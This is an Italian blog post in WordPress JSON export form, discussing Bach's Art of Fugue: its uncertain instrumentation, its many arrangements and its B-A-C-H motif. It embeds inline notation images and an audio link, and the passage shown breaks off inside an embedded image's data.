{"id":45,"date":"2013-09-15T17:16:21","date_gmt":"2013-09-15T17:16:21","guid":{"rendered":"http:\/\/www.carloderi.com\/?p=45"},"modified":"2013-10-26T10:29:05","modified_gmt":"2013-10-26T10:29:05","slug":"johann-sebastian-bach-larte-della-fuga-bwv-1080","status":"publish","type":"post","link":"https:\/\/www.carloderi.com\/?p=45","title":{"rendered":"Johann Sebastian Bach: L\u2019arte della Fuga, BWV 1080"},"content":{"rendered":"<p style=\"text-align: justify;\">Il fatto che J.S. Bach (1685 &#8211; 1750) non abbia indicato la destinazione strumentale dell\u2019ultima sua composizione \u2013 il lavoro \u00e8 rimasto incompleto al ventitreesimo numero, per alcuni commentatori effettivamente l\u2019ultimo brano, per altri il penultimo nell\u2019idea originaria dell\u2019autore \u2013 ha indotto molti, ancora fino al XX sec., a pensare l\u2019opera in una dimensione scolastica o comunque di erudizione fine a se stessa. Certo, il compiacimento nell\u2019affrontare e risolvere arditi problemi di ordine contrappuntistico si avverte in tutto il lavoro, ma probabilmente l\u2019autore aveva pensato ad un\u2019esecuzione affidata ad un clavicembalo con pedaliera o a due clavicembali. Fatto sta che l\u2019indiscutibile valore estetico \u2013 ben lontano da un\u2019arida opera puramente <i>teorica<\/i> \u2013 ha fatto s\u00ec che negli anni <i>L\u2019Arte della fuga <\/i>sia stata eseguita pi\u00f9 volte \u2013 intera o in frammento \u2013 con le pi\u00f9 svariate combinazioni strumentali: dal pianoforte al clavicembalo e all\u2019organo, dall\u2019orchestra (sia d\u2019archi che completa di fiati e percussioni) a formazioni cameristiche di vario genere, compresi il quartetto d\u2019archi (antichi o moderni, con o senza clavicembalo) ed organici inusuali come il quartetto di fisarmoniche o il quartetto di saxofoni; dalla fisarmonica sola, fino ad arrivare \u2013 senza dimenticare le interpretazioni corali \u2013 alla trascrizione per tre chitarre di Carlo Prosperi (<i>Cinque contrapuncti<\/i>, 1982) e alle esecuzioni con mezzi elettronici di Pietro Grossi (<i>computer music<\/i>) e di Yuji Takahashi (due sintetizzatori).<\/p>\n<p style=\"text-align: justify;\">Ne <i>L\u2019Arte della fuga <\/i>composta fra il 1745 e il 1750, Bach ha voluto creare un compendio di tutte le possibili forme di contrappunto, un procedimento che nella sua vita artistica ha continuamente praticato con un\u2019assiduit\u00e0, un attaccamento, una devozione, che travalicano il fatto puramente tecnico per assumere il significato di una scelta sul piano spirituale. Letti in questo senso i contrappunti de <i>L\u2019Arte della Fuga <\/i>prendono la fisionomia di un testamento artistico di immenso valore e, per noi, anche di grande suggestione, specialmente se consideriamo che le ultime note sono state dettate da un Bach ormai privo della vista, non pi\u00f9 in grado di scrivere, e che l\u2019ultimo tema introdotto nell\u2019ultimo pezzo \u00e8 costruito sulle note SIb, LA, DO, SI che secondo la nomenclatura alfabetica tedesca corrispondono a B, A, C, H.<\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" 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AmjzZrNc9LNgwvVLJ3y7pYRYrjScWMFaonyKwt\/SK0s9VyzC7TdP+\/6zBXtz7ih5fWa+z95lJLNedTdCn++\/XVEiKHZms1z0s2DC9UsnfLulhFiuNJxY21I9b4Nyn\/VcBPuZalkzF0g+8rMFe1P99Byc839nzzKffq1xekvZoTXESGGZjE3zzNEa5YeeXfLCDFc6bixVqfaeZ77c2tGwI+SpYzRdoEz1mTSgMtjLrk+5md4o7Hp998twuuIEEOzaJvnSaI1S\/\/TM+6WEWK40nFjLU11yHnu8\/nwWW9uhiw1DLULHLMa08U8o84xP8MbjU2\/\/24RXkeEGJqF2jwPE61ZZou5W0aI4UrHjbUu1YGHuZtjYvnNU58vJ8lSijW7wP397xdhijL+ki7sGaV+vWG6sow1Nv3+u0Xor+0B9FizeU66eXDRmmW2mLtlhBiudNxYKYeWn+65pe1Xx8tShzW7wKdH3K+9FAV8K13wMwr+esN0ZYmsv5gRumx7AD3WbJ6Tbv4o8SsZc7eMEMOVjhtrUaozjnTNp8bmHx4vSxHW7AJtJoW0QLr4Z9T89YbpyhJZfzEjNNr2AHqs2Twn3fxR4lcy5m4ZIYYrHTfW6qFl0m2rzo5tv3qCLEVYuQvcrJbDFk+6LGZU\/vWG6coSWX8xI7Tb9gB6rNw86RG\/kjF3ywgxXOm4sVakOu9g13aIbPjJQ2Qpwvpd4AkLJl1GM97Cp1c\/8BFP1l\/MCK23PYAe6zdP2sSvZMzdMkIMVzpurKVDy7w7Vx0oG37yEFmKYBeYIV3WM5ZBzM\/wMfqLGWGv3h5AD5tnFvErGXO3jBDDlY4ba3qqn0aCUaPCh+njy21rr3+ILHWwC8yQLusZyyDmZ\/gYncUMsl1vD6CHzTOL+JWMuVtGiOFKx421YWh5OzA0F\/3T3b7ec8jTD5OlFHaBGdJlPWMZxPwMH6OzmEF27O0B9LB5ZhG\/kjF3ywgxXOm4sVYPLS9jRe\/kMPyGT5alaHaBGdJlPWMZxPwMH6OzmEE29ggxNLN5ZhG\/kjF3ywgxXOm4sZYOLV8Nf8TYXI6XpWh2gRnSZT1jGcT8DB9j1D4\/Nqq2SPbG0MzmmUX8SsbcLSPEcKXjxoo1tLSVfuzdnixL0ewCM6TLesYyiPkZPkZPMeNs7BFiaGbzzCJ+JWPulhFiuNJxYx0+tDzqXfbLUjG7wAzpsl7T4+nKEtmQTX54VG3B7I6ikc0zi4yVjBBzhBiudNxYhhb+k6VidoEZ0mW9psfTlSWytmJG29KDhNHG5plFxkpGiDlCDFc6bqze7wcAAMBchhYAACC02qGlwex4tid4jCwVm\/1ys9RhrHRZr+nxdGWJrKqYYTfzUMHUsnlmkbGSEWKOEMOVjhvL0MJ\/slTMLjBDuqzX9Hi6skRWXszIO3m0eKrYPLPIWMkIMUeI4UrHjbUo1fu5ovOlzrjnM2WpmF1ghnRZr+nxdGWJrLCYwbfxgCGVs3lmkbGSEWKOEMOVjhvL0MJ\/slTMLjBDuqzX9Hi6skRWUsz4e3jMqArZPLPIWMkIMUeI4UrHjbUu1fvRoqfok277QFkqZheYIV3Wa3o8XVki+1rMFBt42MBK2DyzyFjJCDFHiOFKx421NNUZo8XNPe\/v3BbA2esjS3Z2gRnSZT17GVyfMvURz3FTzLHfhakix\/aVzTOLjJWMEHOEGK503FirUx3+WXr7qft6\/+YP5NnrI0t2doEZ0mU9exlcnzL1Ec\/xqZjNG\/IWwcO7Z\/PMImMlI8QcIYYrHTdW+lTffu3uV0nt9a+\/HZ1EFFmyswvMkC7rNafbdGWJ7G0x27bijeJHeMPmmUXGSkaIOUIMVzpurPSp3kwgn15k7fWvvx2dRBRZsrMLzJAu6zUH3HRliexXMXu24o3iR3jD5plFxkpGiDlCDFc6bqzcqd58825eZM+X8uz1kSU7u8AM6bJec8BNV5bIvu7YKaqdIshPbJ5ZZKxkhJgjxHCl48bKnWrbx6\/nY3n2+siSnV1ghnRZrznjpitLZF937BSlzhLnWzbPLDJWMkLMEWK40nFj5U61+ePX\/LE8e31kyc4uMEO6rNccc9OVJbL7HTtLnROF+srmmUXGSkaIOUIMVzpurMSpdn7\/2j6WZ6+PLNnZBWZIl\/Wak266skTWs2PHkSvaX2yeWWSsZISYI8RwpePGSpzq\/fdv0ls8e31kyc4uMEO6rNccdtOVJbIDJpaf5EvC5plFxkpGiDlCDFc6bqzEqa6fWH5OXx9ZsvOWZ0iXtaElHUPLdjbPLDJWMkLMEWK40nFjZU31fmKxPtpkyc5bniFd1oaWdA6YWH6SLwmbZxZfDzkBSx0hpAgxXOm4sbKmuquNz14fWbKzC8yQLus1n+10ZYks\/qmrRNKw\/7J5ZnF\/yKmyOOZljwsbw5WOGytlqhtb9Oz1kSU7u8AM6bJe80lOV5bI9p6oRkka9l82zyy+nnPGGhjzkFuljuFKx41VneriRgIAAJ7O0AIAAIRWO7RstzedpEUrlCW72a87Sx3GSpf1mq5PV5bIsn99DqD4WdSe5eKIULe9MVwFKcsxktVxe6ucvfiyZDf7jWepw1jpsl7T+OnKElmow80zKX4WRfNBSBHqtjeGqyBlOUamOkZolbMXX5bsZr\/xLHUYK13Waxo\/XVkii3OyeSz1z6JoPggpQt32xnAVpCzHyFTHCH1y9uLLkt3sl56lDmOly3pN76crS2RxTjaPpf5ZlI4I8USo294YroKU5Rhp6hikSc5efFmym\/3es9RhrHRZr2n\/dGWJzPd7O68gi4opIZgIddsbw1WQshwjRx3jNMnZiy9LdrPfe5Y6jJUu6zXtn64skfl+b+cVZFH4mkqmiMUWFOdrQfbGcBWkLMfIUcc4HXL24suS3exXn6UOY6XLes0OkK4skfl+b+cVZDHwNRUOG6MMibkz2b0xXAUpyzES1DFUe7w+dHtIA2WJf3aps9RhrHRZr+m4dGWJTDG3O+A79RCLX9P9QavKsphvEtkbw1WQshwjeh2j9cb1odFi65cl8tlFzlKHsdJlvabX0pUlMsXcLvUX6lECvqb7M0+QpRUhhqsgZTlG6DoGbIx\/z03RvbWyxDy7vFnq8HBrusxi4CRJv00PlPE1ZYx5Nh03Vtw6xhwG\/j76Uxhx4myTJWZDCz+GFqiX9Nv0QPdHoJjvMWBI28V8U3kFrWPYLv0aQ6hoa2UJeHZts9Th4da0mMXASTJ+mJ6pYGAptTjmZY9LQceNFbSOEdrvPrCSa4LEXC5LtLMLm6UOD7emvywGTpLuq\/RYZfPIMANjHnKrY+i4sSLWcXZf9cdWck2osAtliXZ2YbPU4eHW9JfFwEnSfZUeq3jcWKcw5gXFSaS8epSIVcfOhlmgJJKYkZfIEu3swmapw8Ot6S+LgZOk+yo9VtkcEdHuysWiLGMFqmOKHiiJJ3L897JEO7uwWerwcGv6y2LgJOm+So9VNSeEsrtysSjLWFHqmKUBSkIKnsKNLNHOLmyWOjzcmv6yGDhJuq\/SY1XNCaHsrlwsyjJWiDomWv1fo4qfwo0sAc+ubZY6PNyaFrMYOEnGD9MzVc0JoeyuXCzKMlZ1HTd2AgAA8ESGFgAAILTaoWWIaPGUuw8yXTpJzS6vd5eCLoNauuYwPce\/SXaXJBZlGWt1HbMv9JtQk2aU0ewKe30paDSopWseqGn0aLc73ViUZaxFdTxmfX+K+YDUEpldYa8vBY0GtXQNb9XPJocc6mZTlrGm1\/Gwlf0p8jOyy2J2kb3BFPQa1NI1NDOxNFCZsVbU8aQ1\/TYFfbuYoYUfHwOop2tgJR03ljrWeV18xpX1DC38+BhAPV0DK+m4sdSxzq\/FZ2LZwtDCj48B1NM1sJKOG0sd61wXn4llF0MLPz4GUE\/XwEo6bix1rPNv8RlXNjK08ONjAPV0Dayk48ZSxzp\/XuyO6IkUnx\/LAOrpGlhJx42ljnVMLBGoPz+WAdTTNbCSjhtLHetYfxF4C\/xYBlBP18BKOm4sdaxj8UVgF+DHMoB6ugZW0nFjqWMdKy8CuwA\/lgHU0zWwko4bSx3Jxy7Aj2UA9XQNrKTjxlJH8rEL8GMZQD1dAyvpuLHUkXzsAvxYBlBP18BKOm4sdSQfuwA\/lgHU0zWwko4bq7qOfwAAAFYytAAAAKHVDi0AAAArGVoAAIDQDC0AAEBohhYAACA0QwsAABCaoQUAAAjN0AIAAIRmaAEAAEIztAAAAKEZWgAAgNAMLQAAQGiGFgAAIDRDCwAAEJqhBQAACM3QAgAAhGZoAQAAQjO0AAAAoRlaAACA0AwtAABAaIYWAAAgNEMLAAAQmqEFAAAIzdACAACEZmgBAABCM7QAAAChGVoAAIDQDC0AAEBohhYAACA0QwsAABCaoQUAAAjN0AIAAIRmaAEAAEIztAAAAKEZWgAAgNAMLQAAQGiGFgAAIDRDCwAAEJqhBQAACM3QAgAAhGZoAQAAQjO0AAAAoRlaAACA0AwtAABAaIYWAAAgNEMLAAAQmqHliz\/j7E5lp85CFf5k4Ivo\/DkAAAM5gZUqPBA77N6YMUtUPaU\/4No7AADQzyGsTu0R1nn3Vec4UfKTIRNL+eMAAJjKUaxOwznYqfdVz1DRMC4aWgAAUnMUqzP1nP0obUNFQ9mHDC1tvwUAYAinsTqGloFq55a2shtaAACycxqr03wOdvB91Ta0zLt\/\/xMBAJjBgazOkP\/jPf+UzxU9U4ehBQAgNQeyOoaW4UrmluZq9\/zDFm8ZACAIB7I6VSdg590SX+eKzsmhc2hpfi4AAKM4k9WJP7T0\/LOFm5tMzeXmWf1Pb07E0AIAEIQzWZ0hQ0vhSFA7Oby9pu2kfqPwPrU+PWjIQxtSmJosAABVHMvq1I4Q\/beqvezrHW7u9umvGg79td7GNupxXxP\/9JP+RwMA0M+xrE7\/CPHpbj2XVV1wc\/HNTWoP\/Q1KIhx188KLRz0dAIAejmV1Pp3+C6eCm7v1XPb1JiUPKn\/KvNN8VfV67lxS8IFPBwCgh5NZndJhpezYXXWG\/nTZkJsMuaBfbQF7bv71yoGPBgCgh5NZncKDr6Gl2by5perdjXooAAD9HM7qlJ+n0w0tX2M+bGj5dGdDCwBANA5ndarO0+mGlsKfzzvTv84VU+eWTxeMehwAAEM4n9V52tAye4p4fdan5w58xM1tDS0AAAE5n9UJOLQU3qd2AHjNdOrQ8nrnGUPL19saWgAAAnI+qzP2JL1laGmOat7Q8vVxAx96c1sTCwBATI5odWIOLV+vaZhYmqNtUPLEeXPL1zAAANjLEa1O2KHl5rIhE0t5GLXub7hgaPlz+R+\/Dbk\/AABjOaXViTy0vIZXFefXi2cMLVW5z5tbSiIBAGAXp7Q6YYeWznjKHzFjciiPbdTTX+9paAEACMsprU7MoaU\/mPVDS9WtZowWJhYAgCwc1OqsH1pKnph3aGkIb\/jUZGgBAAjOQa3OvKHl7d1KDtZD4qmN5Prnzc\/qiXBB8QEACMJZrc7wk+7NDf\/9SdU4UaLkJvf3\/xVhW77NP2y7w8BgAABYyVmtQvkM0H\/P19ng5qH3NykMuz+Mhkz7q1QewP1te+4DAMBUzmpffDv5DzhAf71byVOq4vx0n6owyvNtiKQhr8Jg3t6\/7bcAAKzhuBbC\/fm75GDdNkK0RXLSQf+kXAAATuW4doKGY7fDOgAAWTi2ptc2exhaAADIwrE1t+bZw9ACAEAWjq2JNf\/rJSYWAAAScXJNrO1fiz\/s36QHAOB4Tq6J1f6Xf8\/7b38BAPAEDq+5vZ1b7u0OGQAA6jjCnsDEAgDAwZxiz2FWAQDgSI6zAABAaIYWAAAgNEMLAAAQmqEFAAAIzdACAACEZmgBAABCM7QAAAChGVoAAIDQDC0AAEBohhYAACA0QwsAABCaoQUAAAjN0AIAAIRmaAEAAEIztAAAAKEZWgAAgND+B4Qp0mtF5C3QAAAAAElFTkSuQmCC\" width=\"348\" height=\"93\" \/><\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/Bach-1.mp3\">Bach 1<\/a><\/p>\n<p style=\"text-align: justify;\">(In effetti un tema B, A, C, H si trova anche precedentemente \u2013 Fuga XI a quattro voci \u2013 ma probabilmente questa citazione \u00e8 solo accidentale).<\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAABE4AAADgCAIAAACSB7RWAAAZuklEQVR4nO3d23acuBYFUP\/\/T9d5yDhpx7hUQuiyBHO+tU2JpY0A7ThOf70AAABu52t1AAAAgP60OgAAwA1pdQAAgBvS6gAAADek1QEAAG5IqwMAANyQVgcAALghrQ4AAHBDWh0AAOCGtDoAAMANaXUAAIAb0uoAAAA3pNUBAABuqHOr83XQ8Km+kQAAgAfq2Vf8aFQqW5djd6TbAQAALurTVLxrUT62Lu+6I90OAABwRYeOotyclL91djQAAIAa3Vqd8nfrWxetDgAAcN3VjqLyr6hpdQAAgJlCW52LqQAAgIe71FTUtDGnWh1NDgAA0EVKq+OHOQAAQEdjW52afzzaL+cAAADdTWp1Ct+qaYcAAABOWdbq\/DhAtwMAAHQ0sNWpb2B0OwAAQF8D\/7HpU62LVgcAAOioQ1\/xa4vS0LqktTq\/\/jZR2erI\/CPkonxcKgkhn+Ds\/et+B4Dd9Xlbd9kNxG4gaqZjDxRo7bUorwcLZqGzxXexAGBTQ17bN2t1Xif\/70Cxs3iahdei5tRWy0JnK+9KAcCO+r+5mzdwyZuJU9mSJ\/IcCxuJ+vNaKqtodQDgCTq\/ua\/sL5N3Elqd7Xz9a\/55Bx1PFy4TADxBzzf39T4ndidhY7SXv8WffCHaTmepzOeOBoAn6PbmrtkKFI4J30bYGO3l2OrMuRZanV24owHgCXr+Y9Mf9wFf\/\/rx9etJxrEx2sivq2vCtbjSVlkqk7mjAeAJLr25z+7tvt67EmMCG6ONLG912j7bPQ8F7mgAeILGN\/eVP73eq8n5o62jG52Ko18rP+eKuO4b0eoAwBN4c1ep3Ohs18Ldz6pWx6Xfi1YHAJ7Am7vKx43Ojj+qup9C8UdfGld\/L1odAHgCb+4qX9VWJ300rQ6V6u9oNzgA7Mubu0rNRseWaLmaVmfQpXHp93L2Yrm4ALAjb+4q9RsdW95V6nvRcWd33Xeh1QGAJ\/DmrnJqo2PXu8SpH7sNOruLvgutDgA8gTd3leaNkb3RHF8nDQ3QfXC60+oAwBN4c1fR6oSrLPXQi+Kib0SrAwBPkPXmjt1JNGx07I2mCdmzanU2otUBgCcIenMnbya0OslC9qwXWx1LZSatDgA8Qcqb++tfq+P81LwxCpzLzTQUObDbsU4m0+oAwBNEvLm\/DlYn+snGKFZUq\/Nq6nask\/nc0QDwBBFv7mOrk7alOJUqdhb30\/wjlJxuxzpZQqsDAE+w\/s39a5+TtqU4u3MNnMItNdd59DWqWczWyUJaHQB4gsVv7nd9TtSuojJSZvgba672nJVWXtsWyUJnr4KrBgCb0uo0ZsvM\/BDNxV9y4ayTEGdvXjc7AOxu5dv6407CZgIAAGiT1eocv7sqGwAAsLVlvcTHn974wQ4AANAst9V5+cEOAADQKqLV+XjYtFQAAMA9rOki6v\/hAa0OAADQQKsDAADc0B6tjm4HAAA4ZXGr0\/FIAACAvxa0EPU\/0nlpdQAAgCZaHQAA4IZWtjrdDwYAAPhDqwMAANyQVgcAALih6Fbn618TsgEAAPewrNWpP1KrAwAAnDW7f\/AjHQCAJ\/j6jTAd3XJSfWl1AADo5tf996p9XVSYXm45qUFCWx0XDABgLzVb8Glbu6gwvdxyUkMltjquFgDARk5twUfv7qLC9HLLSU2g1QEAoF3bLnzQ7i4qTC+3nNQcca2OSwUAsIvmXfiI3V1UmF5uOalpslodlwoAYBdXduHdd3dRYXq55aRmCvr\/6rhOAAAbidqIR4Xp5ZaTmulcywEAAJCgpdUZ7ddkF6dBgRoCe\/HUCtFln3HXPFFhVqkpwrT6JITpPq+ESXUJOSfJ7\/EWnPIw59jq3IMyAnu5zVNr34mkbaei8kSFWetUKUZXJiFM96klTKpXvAl5fg+54JT\/Tji2NLehjMBebvPU2nEip\/YuE97UUXmiwizXVo1BNQkJM2jAhAp3CTY61e9RF5zy\/7ONLcrNqCSwl+2eWu8CbzqRnB1MVJ6oMAmiqhESpvuwCZPqkmpatl\/SrjlrdlFuRiWBvWz31HoXeK+JNG9fBs0xKk9UmBBf1X9sPaEUIWG6j3xqRkMr3BxpcrxfAq85a3BF7kcxgb1s99R6F3ijiVzZvoyYY1SeqDA5\/k4toQghYbqP\/xX216BqkiwP+TPzglMGlyPQxVWlqsB2tntevQu80UTSXi5ReaLC5PgxtbVzDwnT\/UTfR0tYXTveC7k1mhwsxMU11GD1jIHPom7eCWHmT\/DipN4dv8tj9tJbRJ8ztzgNaceda9DIDULCdC94yLz+2Ote+C\/21JPFl2OJi0uno9WVAP4RddvODDNtar0m9e7IXR6tNXWYcN0z80SFuRJyxEm7j9ksJEz3UofM648t7oVfYs87U3wtZrq4XOZYXSQ44WaLNupWnR9mwrz6TurdYd+\/PuFKNTtVjRFXPDlPVJiL8bqfuu+AV4SE6V7nkHn9EX4vvI096TQ71GKCJXV4N6CLwp3cZq3W35gTbtJVYbab1Ltj5lym69pqMmhGzWFG5IkK0yVb3wAdR7soJMzti7x81bXEnnGOTWox1MIpnzrRAy8N93CPhVr\/tJxwhy4Ms92kfhwzrjKDdC\/I5DDj8kSFuR6sb7Y5M60UEub2RQ68Fz7a6W8I7ChhpldOujw8VLrB+jz1wBx9Y64Ns92kplVmkL7VuB7mbKSHhPmeqlnfGB1HuygkzO2LnHYv1EhpdYbGWCVkgl0CPOF6sbXdV+bZV8jQW3J5mL0mNbMyg3xVb+inhQnJExWmPsmckNOmXCMkzBOKnHMvVIr4GfS4DKtETa1vkntfOPa1+5qsf2BOeIouD7PLpOZXZpDv2ZYn\/3G6tXmiwhQyLFmEUUs6JMxzipxwL1S69NvqAAAAS7S0Otd1zLeXzEmNS3XX69hd2r0QladXmK2XYk0Rpl2shDDd5zVoUiNq0n3AypN2H7OZMAWtS3jIyokqTkiY7nUOmdcfUWHqLfu9z9e2JXtn0BvoutHBYieeYOFLKD9P3zDTajjCqVKMvkwJYbpPbdCkPn7k1ER6pWrQfcArhCloX8c65Cm6lzpkXn9Eham35o8Dvx\/cN8AqyROZU+fkCiwR8irKzDMizOgCjtNWjUHzDQkzaMDuk\/p4cOVEEgrecbSLhCkYtJKbw4wYtk1IGPdmoNnvkuPxHQMslDyRaXVOLsJkUW+jtDyDwrw7ZnRtr8u5NDlhug87aFJ\/D3v3kZqh2mrevT4dR7tImIK16+QYZtzgZ4WEcW8GGvIPc9Xfb5tWbS+jH3b80PAqGvpOisozLszxmNFz6eXr\/3+hd+F1SQvTfeRTM2o49btPfRztbLBBlR90HdsIU7BwkfwaZuj4p4SEcW8GmtfqvPtUrwC8M+F5x19n30OjX0tReYaG+XvMnLl09Dfb\/CsSG6b7+OW1cX1S7z5bHrMmz5z6D72aZwlTMHolN4QJERLGvRmoT+jmW27aDflkijzTqZ3KhJdTVJ6hYSbPpaMf2daGDwnT\/UTfRxsxqXeDlAf\/uGjLLmb+kaTjaBcJUzB6JTeHWS4kjHszUIfQVx7H8+\/MEZY\/bsqWPP6SCzLOx3uh+U65QZ7RYfpOZ0JBvp9r0MgNQsJ0L\/joeb0LXJjI6DvibP6+A14hTEFUHmGOtnt2nRIVpt7wVqfm49czLDH\/bdRmWpJdCjJOTQVmFicqz+gw5c9WTmd+WeqzzRESpnupR8\/rXeDCRBrvhDHrMOS6\/yFMQVQeYY62e3adEhWmXp+f2l95Fu9YuIUvpOa0E06xS0HGOVWHCWWJyjM6TPlTHwdZWJwR1W4WEqZ7nUfP613gwkQab4YBK\/AVc93\/EKYgKo8wR9s9u06JClNvYKtTP8LFDDOFvJYaMg8dfK+CjNNWjUEFaQ4zIs+EMOXjC+MsL9GIgjcLCbNdkd8F\/v717we0rbruZfmeZ8SwbYQpiMojzNF2z65TosLUuxS6y7N43LO7u6g309nY40beriDjRJUi6tJMCFP+yLtvtQXrW6hxZW8QEma7Ir8L\/G7ZLF91x5zjBj9LmIKoPMIcbffsOiUqTL0hrU7DIFdizNH2ZkqY3aAM+xZknKg6fP3\/d1QS8kwIU\/7Ur986lWdcrYZW\/qyQMNsV+Ufgj8vmK+n2fMVc9z+EKYjKI8zRds+uU6LC1GsP3fGJ\/OtDvznYCKdeSJNfUZXhR4y5aUHG+arevkwLE5JnQpjyZ4\/fqkkyp2IT6l8vJMx2RT67bL6Sbs9XzHX\/Q5iCqDzCHG337DolKky9\/q3O9RHmP+U\/qoyaOYURGbYuyDhf\/25l1k78x+nW5pkQpjzI8Vs5azjqjggJs1eRG5bNV9LtecyzljAFUXmEOdrr2XVWVJh6nf9SBwAAwAQtrU5Vh9R8vsHzGWHHzMf83QcML8iSJAmX+6+nhSlf06+KP0RftYafdqVqdK\/zoHk1r5mQOv8VlUeYgqg8whzt8uxqExWmXs9Wp+1TZ7UFvmKvtEfdk4QXZGGekCv+x9PClC\/oV79WZ0Ty7mM2CwnTvdSD5tW8ZkLq\/FdUHmEKovIIc7TLs6tNVJh681qdtl1Fw4n62iVnQd8wyQVZnirnor+eF6Z8Nb86tTqDko8Ytk1ImF3uzY\/r5N1EQur8V1QeYQqi8ghztMuzq01UmHotoRt2AM0bi48vktHC49XoGym2IG3B+maLuvRPC\/Puav56oaPW8NOuVI1d7s2Pi6Tw9RF5mkXlEaYgKo8wR7s8u9pEhak3o9Wp2UMcB1m17TiGr5nCkmyV+qbKLMipPOPiRV39p4X5cTXLF3rhIvk1+dDxTwkJs8u9+XfYd4ELXx+Rp1lUHmEKovIIc7TLs6tNVJh6K1ud4zH1n51W7h9vsrI5kc7qmy2wIDVJ5oSMWgNPC\/P3atZc6PKRk9fw065Uje3uzXeBC18fmuesqDzCFETlEeZou2fXKVFh6vVpdU4d\/O74wjirtiDHVAuTNOsbMrAgv2ao1zdJx9EuelqYUxf6+38uX8NPu1I1trs33wUufH1onrOi8ghTEJVHmKPtnl2nRIWpt6DVKR9ZOci07cim1\/W7vrVKK8i7tVGpe5i+A17xtDCnrvXTilMvJEz323P0vN4FLnx9aJ6zovIIUxCVR5ij7Z5dp0SFqTe71fl4ZP1J51R80+v6Xd9apRXk4wa3rHuYvgNe8bQw5av8pdWpExKm++05el7vAhe+PjTPWVF5hCmIyiPM0XbPrlOiwtTbptU5e95eNr2u3\/WtVVpBChvcj0aE6T5ms6eFKV\/f8n+uJcxR9zt09LzeBS58fWies6LyCFMQlUeYo+2eXadEhak3tdWpGbnXeXvZ9Lp+17dWUQX51MuUDMozYtg2TwtTvrJfWp06IWG22y68C1z4+tA8Z0XlEaYgKo8wR9s9u06JClNPq3Mp0hb61iqqINV9zaRlk1ac1RH+szzMl1anTkiY7bYLZwOH1PmvqDzCFETlEeZou2fXKVFh6jWGHtfq1I+m1al071bndbLhmZAnhDCFAMvzfCfM0XbbBa1OR8IUROUR5mi7Z9cpUWHqaXU+R5pwlqFu3+q86rqdmXkSCFMIsDzPd8Ic3Xu78JKnSJiCqDzCHN372RUVpp5W53OkCWcZ6gmtzt\/\/XNLhvMuzljCFAMvzfCfM0b23Cy95ioQpiMojzNG9n11RYer9\/uuSAAAAyVpandomqfpM5wIVDzs7vevmnGWovrWKKkhUmFdYHmEKAZbn+U6Yo+5P+JB5\/SVPgTAFUXmEObr3sysqTL1Loeu7jhGtzum4TTa9rt9pdaaJyiNMIcDyPN8Jc3Tv7cJLniJhCqLyCHN072dXVJh6V0N373YKx\/z7Ex2tTi2tzjRReYQpBFie5zthju69XXjJUyRMQVQeYY7u\/eyKClNvXqvz\/fiPx3Q5VxebXtfvtDrTROURphBgeZ7vhDm693bhJU+RMAVReYQ5uvezKypMvQ6hGzqQ8sG\/fmtJn\/MuzF60OtNE5RGmEGB5nu+EObr3duElT5EwBVF5hDm697MrKky9PqH79iG\/jqPVaabVmSYqjzAFUXmEObr3duElT5EwBVF5hDm697MrKky9njvgXq3IcZBVfc5r2+v6nVZnmqg8whRE5RHm6N7bhZc8RcIUROUR5ujez66oMPU6X48uDcmPERb2Oa9tr+t3Wp1povIIUxCVR5ije28XXvIUCVMQlUeYoxHPrh86Dt4QZuHZm\/UP3avb+THaqvpuel2\/0+pME5VHmIKoPMIcaXUmi8ojTEFUHmGOJrQ6NToG+BFm0MhDDQl9vdxa2I60OtNE5RGmICqPMEdancmi8ghTEJVHmKOQVuej5jAdpzbNwNBXanr9evSyPMB1fcsYVZCoMK+wPMIUROUR5mjEdqHjaNfJUyBMQVQeYY5GPLtW+TVMx6lNMzz0x8I1HzxHSIwr+hYzqiBRYV5heYQpiMojzFH3V0DIvP6Sp0CYgqg8whyNeHZF6Ti1aeaFPlvHkIKGxLii7+qMKkhUmFdYHmEKovIIc9T9nRoyr7\/kKRCmICqPMEcjnl1ROk5tmvV\/Pexd4UJqmpDhor6VjCpIVJhXWB5hCqLyCHPU\/fkfMq+\/5CkQpiAqjzBHI55dUTpObZrc0CE1TchwUd9KRhUkKswrLI8wBVF5hDnq\/vwPmddf8hQIUxCVR5ijEc+uKB2nNs3vv3UEAACQrKXVCVE5gQkxVkfIElWQqDCvsDzCFETlEWaCtHnJU5AWhl2sXixBFPm76NAJNU3IECWqIFFhXmF5hCmIyiPMBGnzkqcgLQy7WL1YdvKoIkeHTijr8gBpogoSFeYVlkeYgqg8wkyQNi95CtLCsIvVi+VublPk6NAJZV0eIE1UQaLCvMLyCFMQlUeYCdLmJU9BWhh2sXqxEGr4yriyEBPW7vIAaaIKEhXmFZZHmIKoPMJMkDYveQrSwrCL1YuFUANXxvXlmLB2lwdIE1WQqDCvsDzCFETlEWaCtHnJU5AWhl2sXiyEGrUyeq3I5Wt3eYA0UQWJCvMKyyNMQVQeYSZIm5c8BWlh2MXqxUKoISuj46JcvnaXB0gTVZCoMK+wPMIUROURZoIB2yoGWr1egPvYoNVZ+9TzzP0hqiBRYV5heYQpiMojzAS9t+KMtXq9APfR\/4HS93G2\/KnnmftDVEGiwrzC8ghTEJVHmAn6bcKZYfV6Ae5Dq\/M5wMKzB4oqSFSYV1geYQqi8ggzQb9NODOsXi\/AfWzQ6nRPeMryAGmiChIV5hWWJy0Mu1i9WIZYXVTOWb1egPvQ6qQHSBNVkKgwr7A8aWHYxerFMsTqonLO6vUC3Ed0q5PwyFseIE1UQaLCvMLypIVhF6sXyxCri8o5q9cLcB9anQ+WB0gTVZCoMK+wPGlh2MXqxTLE6qJyzur1AtxH7j82HfK8S8gQZdSbjQFWL5b\/rK4EJ6xeLADQTWirk\/PSTcgQZcjeijFWL5b\/rK4EJ6xeLADQzbJWp2aEEdnOComRY+AOi95WL5b\/rK4EJ6xeLADQzai3WvN7NO11m5MkxPB9Fv2sXiz\/WV0JTli9WACgm4FvtYY3qHdtvok7Lq5avVgAAFYauxmq33XZnO1i+naddqsXCwDASjM2Q7ZldzJ0a05fqxcLAMBK8zZDdmP3MHOnzkWrFwsAwEo2QwAAwA1pdQAAgBvS6gAAADek1QEAAG5IqwMAANyQVgcAALghrQ4AAHBDWh0AAOCGtDoAAMANaXUAAIAb0uoAAAA3pNUBAABuaE2r83XBksDjtE25fPDTaggAAE